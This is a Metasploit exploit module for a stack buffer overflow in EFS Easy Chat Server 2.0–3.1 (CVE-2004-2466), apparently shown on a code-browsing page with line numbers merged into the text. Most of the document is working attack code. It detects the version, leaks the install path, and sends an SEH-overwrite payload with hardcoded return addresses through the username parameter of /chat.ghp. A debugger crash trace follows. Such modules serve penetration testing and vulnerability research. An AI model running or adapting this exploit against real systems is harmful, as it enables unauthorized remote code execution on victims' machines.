Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/http/efs_easychatserver_username.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78HttpFingerprint = { :pattern => [ /Easy Chat Server\/1\.0/ ] }910include Msf::Exploit::Remote::HttpClient11include Msf::Exploit::Remote::Seh1213def initialize(info = {})14super(update_info(info,15'Name' => 'EFS Easy Chat Server Authentication Request Handling Buffer Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in EFS Software Easy Chat18Server versions 2.0 to 3.1. By sending an overly long authentication19request, an attacker may be able to execute arbitrary code.20},21'Author' =>22[23'LSO <lso[at]hushmail.com>', # original metasploit24'bcoles' # metasploit25],26'License' => BSD_LICENSE,27'References' =>28[29[ 'CVE', '2004-2466' ],30[ 'OSVDB', '7416' ],31[ 'OSVDB', '106841' ],32[ 'BID', '25328' ]33],34'DefaultOptions' =>35{36'EXITFUNC' => 'process',37},38'Privileged' => false,39'Payload' =>40{41'Space' => 7000,42'BadChars' => "\x00\x0a\x0b\x0d\x0f\x20\x25\x26",43'StackAdjustment' => -3500,44},45'Platform' => 'win',46'Targets' =>47[48# Tested on Easy Chat Server v2.0, 2.1, 2.2, 2.5, 3.1 on:49# -- Windows XP SP 3 (x86) (EN)50# -- Windows 7 SP 1 (x64) (EN)51# -- Windows 8 SP 0 (x64) (EN)52[ 'Automatic Targeting', { 'auto' => true } ],53# p/p/r SSLEAY32.dll54[ 'Easy Chat Server 2.0', { 'Ret' => 0x10010E2E } ],55# p/p/r SSLEAY32.dll56[ 'Easy Chat Server 2.1 - 3.1', { 'Ret' => 0x1001071E } ]57],58'DisclosureDate' => '2007-08-14',59'DefaultTarget' => 0))60end6162def check63version = get_version64if not version65return Exploit::CheckCode::Safe66end67vprint_status "Found version: #{version}"68if version !~ /^(2\.\d|3\.0|3\.1)$/69return Exploit::CheckCode::Safe70end71path = get_install_path72if not path73return Exploit::CheckCode::Detected74end75vprint_status "Found path: #{path}"76return Exploit::CheckCode::Appears77end7879#80# Get software version from change log81#82def get_version83res = send_request_raw 'uri' => '/whatsnew.txt'84if res and res.body =~ /What's new in Easy Chat Server V(\d\.\d)/85return "#{$1}"86end87end8889#90# Get software installation path from uninstall file91#92def get_install_path93res = send_request_raw 'uri' => '/unins000.dat'94if res and res.body =~ /([A-Z]:\\[^\x00]{2,256})?\\[a-z]+\.htm/i95return "#{$1}"96end97end9899def exploit100101# get target102if target.name =~ /Automatic/103version = get_version104vprint_status "Found version: #{version}" if version105if not version or version !~ /^(2\.\d|3\.0|3\.1)$/106fail_with(Failure::NoTarget, "#{peer} - Unable to automatically detect a target")107elsif version =~ /(2\.0)/108my_target = targets[1]109elsif version =~ /(2\.\d|3\.0|3\.1)/110my_target = targets[2]111end112else113my_target = target114end115116# get install path117path = get_install_path118if not path119fail_with(Failure::UnexpectedReply, "#{peer} - Could not retrieve install path")120end121path << "\\users\\"122vprint_status "Using path: #{path}"123124# send payload125sploit = rand_text_alpha(256 - path.length)126sploit << generate_seh_payload(my_target.ret)127print_status "Sending request (#{sploit.length} bytes) to target (#{my_target.name})"128send_request_cgi({129'uri' => '/chat.ghp',130'encode_params' => false,131'vars_get' => {132'username' => sploit,133'password' => rand_text_alphanumeric(rand(10) + 1),134'room' => 1,135'sex' => rand_text_numeric(1)136}137}, 5)138139end140end141142=begin1431440x004144C8 calls sprintf with the following arguments:145sprintf(&FileName, "%susers\\%s", path, username);146147Since we can make the username larger than the allocated buffer size148we end up overwriting SEH with a PPR from SSLEAY32.dll and nSEH with149a short jmp to the beginning of our shellcode.150151(46c.144): Access violation - code c0000005 (first chance)152First chance exceptions are reported before any exception handling.153This exception may be expected and handled.154eax=ffffffff ebx=000007f6 ecx=0047fd50 edx=41414141 esi=000007ef edi=0047a3ea155eip=00445f34 esp=01216b88 ebp=01216ba0 iopl=0 nv up ei pl nz na po nc156cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202157EasyChat+0x45f34:15800445f34 8a02 mov al,byte ptr [edx] ds:0023:41414141=??1591600:005> !exchain16101216dd8: 41414141162Invalid exception stack at 41414141163=end164165166